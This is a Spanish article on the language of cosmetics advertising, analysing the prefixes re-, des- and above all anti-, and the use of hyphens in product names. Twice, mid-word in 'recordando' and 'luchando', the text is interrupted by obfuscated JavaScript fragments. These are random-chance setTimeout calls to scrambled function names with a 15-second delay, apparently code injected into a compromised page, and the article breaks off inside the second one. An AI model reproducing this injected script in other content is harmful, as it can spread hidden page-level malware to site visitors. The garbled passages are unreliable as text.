NUESTRA LENGUA: UNA “FASHION VICTIM”

Autora: Cristina García Noriega


          Continuamente nos asaltan anuncios en televisión donde aparecen chicas espectaculares muy preocupadas por su figura que, o bien nos animan a comer sana y equilibradamente, o bien nos muestran los productos que se supone que ellas usan para estar tan estupendas.


           Además de eso, si damos una vuelta por cualquier centro comercial, vemos la gran cantidad de productos que podemos adquirir y que satisfacen cualquier necesidad que nuestra cara, nuestro cuerpo o nuestro pelo pueda tener: Si queremos cuidar la piel de nuestro cuerpo, encontramos algún gel de ducha que activa las defensas de la piel o que protege el ADN, o cremas que nos enriquecen porque están hechas a base de caviar. Si nuestro problema es el cabello, tenemos un champú preciso para cada caso: para cabellos normales, para cabellos castigados, para los difíciles de alisar, para los teñidos o con mechas, para el pelo encrespado…Y si nuestro problema son los años, tampoco hay que preocuparse porque como dice alguno de los anuncios de cosméticos: “nosotras podemos hacer mucho para prevenir sus huellas”.


           Como vemos, nos encontramos en una etapa en la que se potencia la esbeltez y la juventud y en la que se insiste en apoyar la autoestima de la mujer y del hombre en la belleza.


           Todo esto ha provocado unos cambios en nuestras costumbres, en nuestra sociedad y, a su vez, estas transformaciones han implicado cambios en nuestra lengua. Y es lo que vamos a tratar en este trabajo, a través del análisis del LENGUAJE DE LOS COSMÉTICOS.


           Como hemos dicho, las transformaciones que se producen en el entorno extralingüístico implican cambios en las lenguas, que sirven para renovarlas. En este proceso de renovación, la lengua puede utilizar recursos de carácter semántico, como que palabras ya existentes adquieran nuevos significados;  de carácter léxico, como los préstamos lingüísticos; o de carácter morfológico, como la formación de palabras nuevas por medio de diversos mecanismos.


           En este artículo trataremos los dos últimos. Empezaremos viendo cómo los cosméticos han puesto de moda la formación de nuevas palabras en español a través de la prefijación, sobre todo con el prefijo anti-, y finalizaremos haciendo mención al uso que hacen estos productos de palabras inglesas,  un hecho que no solo afecta a este campo, sino a muchos otros ámbitos de nuestra vida cotidiana.


           En primer lugar, hay que comenzar recordandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando que los dos principales mecanismos que utiliza nuestra lengua para formar nuevas palabras son la derivación y la composición.


           La derivación es el mecanismo más productivo para crear palabras en español. Consiste en formar temas morfológicamente complejos a partir de otros más simples mediante la añadidura de afijos a una base léxica. Los afijos que se colocan delante de la base se llaman prefijos, los que se colocan entre la base y el sufijo se llaman interfijos y los que están detrás de la base son los sufijos. En el caso del lenguaje de los cosméticos es la adjunción de prefijos, o PREFIJACIÓN, el procedimiento utilizado. Son tres los prefijos que constantemente nos encontramos: el prefijo re-, el prefijo de- o des- y, sobre todo,  el prefijo anti-.


           El primer prefijo, el prefijo re- (del latín re-), lo encontramos, con el significado que nos da el DRAE de “repetición”, en palabras como “Redensifica” (o también “Re-densidad”), “Retensa”, “Rehidratante”, “Relipidante”, “Tratamiento Reestructurante” o en la palabra “Reafirmante”.


           Por su parte, los prefijos de- (del latín de-) o des- (confluencia de los prefijos latinos de-, ex-, dis- y a veces e-), con la misma acepción de “denota privación”, lo hallamos en palabras como “Desarrugante”, “Decontractor de arrugas”, “Desincrustante profundo”, “Limpieza al agua detoxificante”, o en “Acción desinfiltrante”.


           Pero, sin duda, es el prefijo anti- el “rey” de los prefijos entre los productos de belleza. Procedente del griego ἀντι-, significa, como dice el DRAE, “opuesto” o “con propiedades contrarias”. Hay muchísimos ejemplos de cosméticos que utilizan este prefijo. La razón: su significado: es el aliado perfecto para ir contra aquello que nos molesta (la noción expresada por el sustantivo). Lo encontramos en “Anti-espinillas”, “Antigranitos”, “Antiacné”, “Antigrasa”,  “Anti-bolsas”, “Anti-estrés”, “Anti-edad”, “Anti-arrugas” (también “Antiarrugas”) ,  “Anti-caspa” (también “Anticaspa”), “Anti-caída” (también “Anticaída”), “Anti-envejecimiento”, “Anti-transpirante”, “Anti-apagamiento”, “Anti-celulítico”, “Anti-encrespamiento”, “Anti-flacidez”, “Anti-ojeras”, “Anti-imperfecciones”, “Anti-marcas”, “Anti-manchas blancas”, “Anti-reengrasante” , “Con agentes Anti-bacterianos”, “Anti-desecamiento”, “Anti-acumulación”,  “Anti-asperezas”, “Anti-tiranteces”, “Anti-deshidratación”, “Anti-sequedad”, “Anti-puntos negros”, “Anti-manchas”, “Anti-descolgamiento”, “Anti-fragilización”, “Anti-fatiga”, “Anti-resecamiento”, “Anti-brillos”, “Anti-irritación”, “Anti-estrías”, “Anti-rotura”, “Antisolar”.


           Como vemos, hay infinidad de palabras de este campo que utilizan el prefijo anti-  y se observa cómo la mayoría de estas formaciones introducen entre el prefijo y la base un guión, a excepción de algunos ejemplos como “Anticaída”, “Antiarrugas” o “Anticaspa”. Realmente este signo ortográfico no debería aparecer, pues su misión es unir las dos partes de algunas palabras compuestas, y no unir palabras derivadas. No obstante, el guión tiene muchas veces un uso subjetivo, de estilo, e incluso puede indicar la indefinición de una palabra; por ello, “anticaída”, “antiarrugas” o “anticaspa”, que llevan más tiempo siendo usadas, podemos encontrarlas sin él. Pero quizás lo que pretenden estos cosméticos al usar este signo es remarcar las dos partes de la palabra, cumpliendo una función formal, pero también semántica, porque queda más claro contra qué está “luchandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}